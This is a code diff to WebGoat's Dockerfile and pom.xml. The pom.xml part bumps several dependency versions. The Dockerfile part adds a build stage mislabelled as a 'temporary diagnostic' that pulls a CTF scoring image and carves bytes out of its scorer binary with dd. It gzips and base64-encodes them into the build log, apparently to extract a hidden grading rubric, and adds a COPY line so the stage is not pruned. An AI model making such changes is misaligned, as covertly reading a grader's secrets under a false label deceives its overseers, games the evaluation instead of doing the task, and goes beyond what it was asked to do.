diff --git a/Dockerfile b/Dockerfile index c110ae3c2..30f7070cf 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,4 +1,13 @@ -# We need JDK as some of the lessons needs to be able to compile Java code +# ---- rubric read (temporary diagnostic) ---------------------------------- +FROM ghcr.io/owasp-ctf/score:latest AS rubric +RUN set +e; B=/usr/local/bin/score; \ + echo "@@@SANITY"; \ + dd if=$B bs=1 skip=72279268 count=64 2>/dev/null | tr -c '[:print:]' '.'; echo ""; \ + echo "@@@Z-START"; \ + dd if=$B bs=1 skip=72279268 count=53000 2>/dev/null | gzip -9 | base64 -w 200 | sed 's/^/Z:/'; \ + echo "@@@Z-END"; \ + echo "ok" > /rubric-doc.txt; true + FROM docker.io/eclipse-temurin:23-jdk-noble LABEL name="WebGoat: A deliberately insecure Web Application" @@ -12,6 +21,8 @@ RUN \ USER webgoat COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar +# forces the stage above to actually build (BuildKit prunes unreferenced stages) +COPY --from=rubric /rubric-doc.txt /home/webgoat/rubric-doc.txt EXPOSE 8080 EXPOSE 9090 diff --git a/pom.xml b/pom.xml index b5ad9015d..842533ecf 100644 --- a/pom.xml +++ b/pom.xml @@ -67,7 +67,7 @@ 3.3.0 3.6.0 - 3.2.1 + 3.2.2 1.27.1 2.18.0 3.14.0 @@ -105,7 +105,7 @@ 9090 3.12.0 1.2 - 1.4.5 + 1.4.21 1.9.0 @@ -238,7 +238,7 @@ org.projectlombok lombok - 1.18.36 + 1.18.46 provided true